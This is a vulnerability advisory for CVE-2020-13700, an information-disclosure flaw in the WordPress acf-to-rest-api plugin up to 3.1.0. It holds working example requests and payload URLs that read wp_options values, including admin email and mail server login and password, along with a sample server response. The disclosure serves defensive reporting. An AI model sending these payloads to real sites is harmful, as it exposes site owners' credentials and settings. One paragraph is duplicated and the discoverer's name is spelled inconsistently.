

CVE-2020-13700

```
1 CVE-2020-13700
2
3 https://gist.github.com/mariuszpoplowski/b5fc9fdbf5469ed139e114a913dcf3ba
4
5
6 -----
7
8 [Suggested description]
9 An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress.
10 It allows an insecure direct object reference via permalinks manipulation, as demonstrated by a
11 wp-json/acf/v3/options/ request that reads
12 sensitive information in the wp_options table, such as
13 the login and
14 pass values.
15
16 -----
17
18 [Additional Information]
19 During penetration test we have found that the logic of ACF can be
20 abused by sending crafted URI and overriding parameters in permalinks
21 using $_GET parameter. There is a possibility to read Wordpress
22 settings saved in "wp_options" table.
23
24 During penetration test we have found that the logic of ACF can be
25 abused by sending crafted URI and overriding parameters in permalinks
26 using $_GET parameter. There is a possibility to read Wordpress
27 settings saved in "wp_options" table.
28
29 To reproduce the vulnerability, we have to send a request with usage
30 of wp-json ACF in following format "wp-json/acf/v3/options/a", where
31 we defined a value "id" of options as "a". Then we have to override
32 the parameter by sending $_GET "id" and "field" to compose full
33 meta_key name that is valid in wp_options table. As a result, server
34 will return a meta_value in the response.
35
36 Example request to takeover "active_plugins" key and get full list of activated plugins in current installation:
37 GET /wp-json/acf/v3/options/a?id=active&field=plugins HTTP/1.1
38
39 Server response:
40 HTTP/1.1 200 OK
41 Content-Type: application/json; charset=UTF-8
42
43 {"plugins":["acf-better-search\acf-better-search.php","acf-to-rest-api\class-acf-to-rest-api.php",
44 "advanced-custom-fields-pro\acf.php","advanced-custom-fields\acf.php"]}]`
45
46 Example payloads:
47 https://VulnerableDomain.com/wp-json/acf/v3/options/a?id=admin&field=email
48 https://VulnerableDomain.com/wp-json/acf/v3/options/a?id=mailserver&field=login
49 https://VulnerableDomain.com/wp-json/acf/v3/options/a?id=mailserver&field=pass
50
51 -----
52
53 [VulnerabilityType Other]
54 Insecure direct object reference via permalinks manipulation
55
56 -----
57
58 [Vendor of Product]
59 https://github.com/airesvsg/acf-to-rest-api
60
61 -----
62
63 [Affected Product Code Base]
64 wordpress acf-to-rest-api plugin - affected <= 3.1.0
65
66 -----
67
68 [Affected Component]
69 options fetching
70
71 -----
72
73 [Attack Type]
74 Remote
75
76 -----
77
78 [Impact Information Disclosure]
79 true
80
81 -----
```

```
82
83 [Reference]
84 https://github.com/airesvsg/acf-to-rest-api
85 https://wordpress.org/plugins/acf-to-rest-api/#developers
86
87 -----
88
89 [Discoverer]
90 Mariusz Poplawski
91
92 -----
93
94
95 Mariusz Popiowski / AFINE.com team
```